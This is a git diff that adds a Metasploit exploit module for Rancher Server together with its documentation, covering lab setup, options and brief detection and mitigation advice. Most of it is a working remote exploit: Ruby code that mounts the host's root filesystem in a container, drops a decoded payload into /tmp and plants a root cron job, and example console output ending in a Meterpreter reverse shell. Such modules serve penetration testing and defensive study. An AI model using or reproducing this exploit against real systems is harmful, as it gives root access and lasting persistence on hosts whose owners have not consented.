diff --git a/documentation/modules/exploit/linux/http/rancher_server.md b/documentation/modules/exploit/linux/http/rancher_server.md new file mode 100644 index 0000000000..8edc9376cb --- /dev/null +++ b/documentation/modules/exploit/linux/http/rancher_server.md @@ -0,0 +1,169 @@ +# Vulnerable Application +Utilizing Rancher Server, an attacker can create a docker container +with the '/' path mounted with read/write permissions on the host +server that is running the docker container. As the docker container +executes command as uid 0 it is honored by the host operating system +allowing the attacker to edit/create files owned by root. This exploit +abuses this to creates a cron job in the '/etc/cron.d/' path of the +host server. + +The Docker image should exist on the target system or be a valid image +from hub.docker.com. + +Use `check` with verbose mode to get a list of exploitable Rancher +Hosts managed by the target system. + +## Rancher setup +Rancher is deployed as a set of Docker containers. Running Rancher is +as simple as launching two containers. One container as the management +server and another container on a node as an agent. + +This module was tested with Debian 9 and CentOS 7 as the host operating +system with Docker 17.06.1-ce and Rancher Server 1.6.2, all with +default installation. + +### Install Debian 9 +First [install Debian 9][1] with default task selection. This includes +the "*standard system utilities*". + +### Install Docker CE +Then install a supported version of [Docker on Debian system][2]. + +```bash +# TL;DR +apt-get remove docker docker-engine +apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common +curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - +apt-key fingerprint 0EBFCD88 +# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88. +add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" +apt-get update +apt-get install docker-ce +docker run hello-world +``` + +### Rancher Server (Management) +I recommend doing a ['Rancher Server - Single Container (NON-HA)' +installation][3]. + +If Docker is installed, the command to start a single instance of +Rancher is simple. + +```bash +# TL;DR +sudo docker run -d --restart=unless-stopped -p 8080:8080 rancher/server +``` + +If all is passing navigate to `http://[ip]:8080/`. You should see the +Rancher Server UI web application. + +### Rancher Host (Agent) + +Add a [new host][4] to Rancher Server so that the Docker host can be managed. + +**Set Host Registration URL** + +The first time that you add a host, you may be required to set up the +Host Registration URL. + +* Navigate to Admin / Settings (`http://[ip]:8080/admin/settings`) +* Check if `"http://[ip]:8080/"` is set +* Click on Save. + +**Add new host** + +* Navigate to Infrastructure / Hosts (`http://[ip]:8080/env/1a5/infra/hosts`) +* Click on Add Host +* Copy the command from Point 5 (and remove sudo prefix) + `docker run --rm --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v1.2.2 http://[ip]:8080/v1/scripts/XXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXX` +* Paste and run the command on the host + +The new host should pop up on the Hosts screen within a minute. + +# Exploitation +This module is designed to gain root access on a Rancher Host. + +## Options +- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated. +- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit. +- TARGETENV this is the target Rancher Environment. The default environment is `1a5`. +- TARGETHOST is the target Rancher Host. The default host is `1h1`. + +By default access control is disabled, but if enabled, you need API +Keys with at least "restrictive" permission in the environment. +See Rancher docs for [api-keys][5] and [membership-roles][6]. + +- HttpUsername is for your Access Key +- HttpPassword is for your Secret Key + +Advanced Options +- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`. +- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. + +## Steps to exploit with module +- [ ] Start msfconsole +- [ ] use exploit/linux/http/rancher_server +- [ ] Set the options appropriately and set VERBOSE to true +- [ ] Verify it creates a docker container and it successfully runs +- [ ] After a minute a session should be opened from the agent server + +## Example Output +``` +msf > use exploit/linux/http/rancher_server +msf exploit(rancher_server) > set RHOST 192.168.91.111 +RHOST => 192.168.91.111 +msf exploit(rancher_server) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +PAYLOAD => linux/x64/meterpreter/reverse_tcp +msf exploit(rancher_server) > set LHOST 192.168.91.1 +LHOST => 192.168.91.1 +msf exploit(rancher_server) > set VERBOSE true +VERBOSE => true +msf exploit(rancher_server) > check + +[+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted +[*] 192.168.91.111:8080 The target is vulnerable. +msf exploit(rancher_server) > exploit + +[*] Started reverse TCP handler on 192.168.91.1:4444 +[*] Setting container json request variables +[*] Creating the docker container command +[+] The docker container is created, waiting for it to deploy +[*] Waiting up to 60 seconds for docker container to start +[+] The docker container has stopped, now trying to remove it +[+] The docker container has been removed. +[*] Waiting for the cron job to run, can take up to 60 seconds +[*] Sending stage (40747 bytes) to 192.168.91.111 +[*] Meterpreter session 1 opened (192.168.91.1:4444 -> 192.168.91.111:49948) at 2017-07-27 22:18:00 +0200 +[+] Deleted /etc/cron.d/wlHVKGMA +[+] Deleted /tmp/jxKUxUyN + +meterpreter > sysinfo +Computer : rancher +OS : Debian 9.1 (Linux 4.9.0-3-amd64) +Architecture : x64 +Meterpreter : x64/linux +meterpreter > +``` +## Exploit Detection +Rancher Server has an [audit log][7]. While running this module two +events (create and delete) were logged. Even though the container is +deleted, its still able to be viewed from the link in the audit log. + +## Mitigation +* Do not deploy a Rancher Host on the same host where the Rancher + Server is. Your entire rancher infrastructure is in [danger][8]. +* Only allow trusted users to have more permissions than read-only. + +Docker protection such as Username Namespaces could not be applied +because Rancher Agents run as a privileged container. + + +[1]:https://www.debian.org/releases/stretch/amd64/index.html.en +[2]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/ +[3]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha +[4]:https://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host +[5]:https://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/ +[6]:https://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles +[7]:https://rancher.com/docs/rancher/v1.6/en/rancher-services/audit-log/ +[8]:https://rancher.com/docs/rancher/v1.6/en/faqs/troubleshooting/#help-i-turned-on-access-controldocsrancherv16enconfigurationaccess-control-and-can-no-longer-access-rancher-how-do-i-reset-rancher-to-disable-access-control +[9]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/selinux/ diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb new file mode 100644 index 0000000000..08c01cc3d0 --- /dev/null +++ b/modules/exploits/linux/http/rancher_server.rb @@ -0,0 +1,234 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rancher Server - Docker Exploit', + 'Description' => %q( + Utilizing Rancher Server, an attacker can create a docker container + with the '/' path mounted with read/write permissions on the host + server that is running the docker container. As the docker container + executes command as uid 0 it is honored by the host operating system + allowing the attacker to edit/create files owed by root. This exploit + abuses this to creates a cron job in the '/etc/cron.d/' path of the + host server. + + The Docker image should exist on the target system or be a valid image + from hub.docker.com. + + Use `check` with verbose mode to get a list of exploitable Rancher + Hosts managed by the target system. + ), + 'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre + 'License' => MSF_LICENSE, + 'References' => [ + 'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface' + ], + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'Payload' => { 'Space' => 65000 }, + 'Targets' => [[ 'Linux', {} ]], + 'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 27, 2017')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]), + OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]), + OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]), + OptString.new('CONTAINER_ID', [ false, 'container id you would like']), + OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']), + OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)']) + ] + ) + register_advanced_options( + [ + OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]), + OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]) + ] + ) + end + + def del_container(rancher_container_id, container_id) + res = send_request_cgi( + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' } + ) + + return vprint_good('The docker container has been removed.') if res && res.code == 200 + + print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.") + end + + def make_container_id + return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? + + rand_text_alpha_lower(8) + end + + def make_cmd(mnt_path, cron_path, payload_path) + vprint_status('Creating the docker container command') + echo_cron_path = mnt_path + cron_path + echo_payload_path = mnt_path + payload_path + + command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& " + command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& " + command << "echo \"\" >> #{echo_cron_path} \&\& " + command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}" + + command + end + + def make_container(mnt_path, cron_path, payload_path, container_id) + vprint_status('Setting container json request variables') + { + 'instanceTriggeredStop' => 'stop', + 'startOnCreate' => true, + 'networkMode' => 'managed', + 'requestedHostId' => datastore['TARGETHOST'], + 'type' => 'container', + 'dataVolumes' => [ '/:' + mnt_path ], + 'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'], + 'name' => container_id, + 'command' => make_cmd(mnt_path, cron_path, payload_path), + 'entryPoint' => %w[sh -c] + } + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' } + ) + + if res.nil? + print_error('Failed to connect to the target') + return Exploit::CheckCode::Unknown + end + + if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version') + print_error('Authorization is required. Provide valid Rancher API Keys.') + return Exploit::CheckCode::Detected + end + + if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version') + target_found = false + target_selected = false + + environments = JSON.parse(res.body)['data'] + environments.each do |e| + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' } + ) + + hosts = JSON.parse(res.body)['data'] + hosts.each do |h| + target_found = true + result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on " + result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found" + + # flag results when this host is targeted via options + if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id'] + target_selected = true + vprint_good(result + ' %red<-- targeted%clr') + else + vprint_good(result) + end + end + end + + if target_found + return Exploit::CheckCode::Vulnerable if target_selected + + print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available") + if datastore['VERBOSE'] == false + print_bad('Try verbose mode to know what happened.') + end + vprint_bad('Choose a TARGETHOST and TARGETENV from the results above') + return Exploit::CheckCode::Appears + else + print_bad('No TARGETHOST available') + return Exploit::CheckCode::Detected + end + end + + Exploit::CheckCode::Safe + end + + def exploit + unless check == Exploit::CheckCode::Vulnerable + fail_with(Failure::Unknown, 'Failed to connect to the target') + end + + # create required information to create json container information + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + payload_path = '/tmp/' + rand_text_alpha(8) + mnt_path = '/mnt/' + rand_text_alpha(8) + container_id = make_container_id + + # deploy docker container + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' }, + 'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json + ) + fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201 + + print_good('The docker container is created, waiting for it to deploy') + + # cleanup + register_files_for_cleanup(cron_path, payload_path) + + rancher_container_id = JSON.parse(res.body)['id'] + deleted_container = false + + sleep_time = 5 + wait_time = datastore['WAIT_TIMEOUT'] + vprint_status("Waiting up to #{wait_time} seconds until the docker container stops") + + while wait_time > 0 + sleep(sleep_time) + wait_time -= sleep_time + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' } + ) + next unless res && res.code == 200 && res.body.include?('stopped') + + vprint_good('The docker container has stopped, now trying to remove it') + del_container(rancher_container_id, container_id) + deleted_container = true + wait_time = 0 + end + + # if container does not deploy, try to remove it and fail out + unless deleted_container + del_container(rancher_container_id, container_id) + fail_with(Failure::Unknown, "The docker container failed to start") + end + + print_status('Waiting for the cron job to run, can take up to 60 seconds') + end +end